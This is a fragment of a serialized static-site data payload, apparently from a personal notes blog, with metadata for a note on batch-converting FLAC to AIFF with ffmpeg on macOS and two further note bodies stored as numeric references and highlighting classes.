.sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":19,"searchDepth":20,"depth":20,"links":1135},[],"2022-08-10","One-liner to convert all FLAC files to AIFF format using ffmpeg on macOS",{},"\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",{"title":1022,"description":1137},{"loc":1139},"notes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg",[1144,1145,1018,1146],"ffmpeg","audio","macos","TAUWGNDcayHB2yDba8Sq8DH-TcIpYitPjo-XPI7ple0",[1149,1376],{"id":668,"title":669,"author":670,"body":1150,"date":958,"description":959,"extension":22,"image":6,"meta":1372,"navigation":24,"path":961,"seo":1373,"sitemap":1374,"stem":964,"tags":1375,"__hash__":968},{"type":8,"value":1151,"toc":1370},[1152,1154,1160,1166,1368],[11,1153,669],{"id":675},[15,1155,678,1156,682,1158,212],{},[61,1157,681],{},[61,1159,685],{},[15,1161,688,1162,692,1164,696],{},[61,1163,691],{},[61,1165,695],{},[118,1167,1168],{"className":699,"code":700,"language":701,"meta":19,"style":19},[61,1169,1170,1178,1188,1192,1200,1206,1218,1226,1232,1236,1240,1256,1266,1270,1274,1280,1288,1292,1296,1300,1304,1312,1316,1324,1336,1348,1360],{"__ignoreMap":19},[144,1171,1172,1174,1176],{"class":146,"line":147},[144,1173,709],{"class":708},[144,1175,713],{"class":712},[144,1177,716],{"class":708},[144,1179,1180,1182,1184,1186],{"class":146,"line":20},[144,1181,722],{"class":721},[144,1183,725],{"class":708},[144,1185,728],{"class":721},[144,1187,732],{"class":731},[144,1189,1190],{"class":146,"line":158},[144,1191,161],{"emptyLinePlaceholder":24},[144,1193,1194,1196,1198],{"class":146,"line":164},[144,1195,741],{"class":721},[144,1197,744],{"class":721},[144,1199,747],{"class":708},[144,1201,1202,1204],{"class":146,"line":170},[144,1203,753],{"class":752},[144,1205,756],{"class":708},[144,1207,1208,1210,1212,1214,1216],{"class":146,"line":285},[144,1209,761],{"class":721},[144,1211,765],{"class":764},[144,1213,768],{"class":721},[144,1215,771],{"class":752},[144,1217,774],{"class":708},[144,1219,1220,1222,1224],{"class":146,"line":291},[144,1221,779],{"class":708},[144,1223,782],{"class":764},[144,1225,785],{"class":708},[144,1227,1228,1230],{"class":146,"line":297},[144,1229,790],{"class":708},[144,1231,793],{"class":764},[144,1233,1234],{"class":146,"line":303},[144,1235,798],{"class":708},[144,1237,1238],{"class":146,"line":308},[144,1239,161],{"emptyLinePlaceholder":24},[144,1241,1242,1244,1246,1248,1250,1252,1254],{"class":146,"line":314},[144,1243,761],{"class":721},[144,1245,809],{"class":764},[144,1247,768],{"class":721},[144,1249,814],{"class":752},[144,1251,817],{"class":708},[144,1253,820],{"class":721},[144,1255,747],{"class":708},[144,1257,1258,1260,1262,1264],{"class":146,"line":320},[144,1259,827],{"class":721},[144,1261,830],{"class":708},[144,1263,833],{"class":721},[144,1265,836],{"class":708},[144,1267,1268],{"class":146,"line":326},[144,1269,798],{"class":708},[144,1271,1272],{"class":146,"line":331},[144,1273,161],{"emptyLinePlaceholder":24},[144,1275,1276,1278],{"class":146,"line":336},[144,1277,849],{"class":721},[144,1279,747],{"class":708},[144,1281,1282,1284,1286],{"class":146,"line":342},[144,1283,856],{"class":721},[144,1285,859],{"class":752},[144,1287,862],{"class":708},[144,1289,1290],{"class":146,"line":348},[144,1291,867],{"class":708},[144,1293,1294],{"class":146,"line":354},[144,1295,872],{"class":708},[144,1297,1298],{"class":146,"line":360},[144,1299,877],{"class":708},[144,1301,1302],{"class":146,"line":366},[144,1303,882],{"class":708},[144,1305,1306,1308,1310],{"class":146,"line":371},[144,1307,887],{"class":708},[144,1309,713],{"class":712},[144,1311,716],{"class":708},[144,1313,1314],{"class":146,"line":376},[144,1315,161],{"emptyLinePlaceholder":24},[144,1317,1318,1320,1322],{"class":146,"line":382},[144,1319,709],{"class":708},[144,1321,902],{"class":712},[144,1323,716],{"class":708},[144,1325,1326,1328,1330,1332,1334],{"class":146,"line":388},[144,1327,909],{"class":708},[144,1329,15],{"class":712},[144,1331,914],{"class":708},[144,1333,15],{"class":712},[144,1335,716],{"class":708},[144,1337,1338,1340,1342,1344,1346],{"class":146,"line":394},[144,1339,909],{"class":708},[144,1341,15],{"class":712},[144,1343,927],{"class":708},[144,1345,15],{"class":712},[144,1347,716],{"class":708},[144,1349,1350,1352,1354,1356,1358],{"class":146,"line":400},[144,1351,909],{"class":708},[144,1353,15],{"class":712},[144,1355,940],{"class":708},[144,1357,15],{"class":712},[144,1359,716],{"class":708},[144,1361,1362,1364,1366],{"class":146,"line":406},[144,1363,887],{"class":708},[144,1365,902],{"class":712},[144,1367,716],{"class":708},[640,1369,955],{},{"title":19,"searchDepth":20,"depth":20,"links":1371},[],{},{"title":669,"description":959},{"loc":961},[701,966,967],{"id":970,"title":971,"author":670,"body":1377,"date":1009,"description":1010,"extension":22,"image":6,"meta":1404,"navigation":24,"path":1012,"seo":1405,"sitemap":1406,"stem":1015,"tags":1407,"__hash__":1019},{"type":8,"value":1378,"toc":1402},[1379,1381,1393,1395,1400],[11,1380,971],{"id":976},[118,1382,1383],{"className":979,"code":980,"language":981,"meta":19,"style":19},[61,1384,1385],{"__ignoreMap":19},[144,1386,1387,1389,1391],{"class":146,"line":147},[144,1388,988],{"class":752},[144,1390,991],{"class":731},[144,1392,994],{"class":731},[15,1394,997],{},[118,1396,1398],{"className":1397,"code":1001,"language":123},[121],[61,1399,1001],{"__ignoreMap":19},[640,1401,1006],{},{"title":19,"searchDepth":20,"depth":20,"links":1403},[],{},{"title":971,"description":1010},{"loc":1012},[1017,701,1018],1776084468190]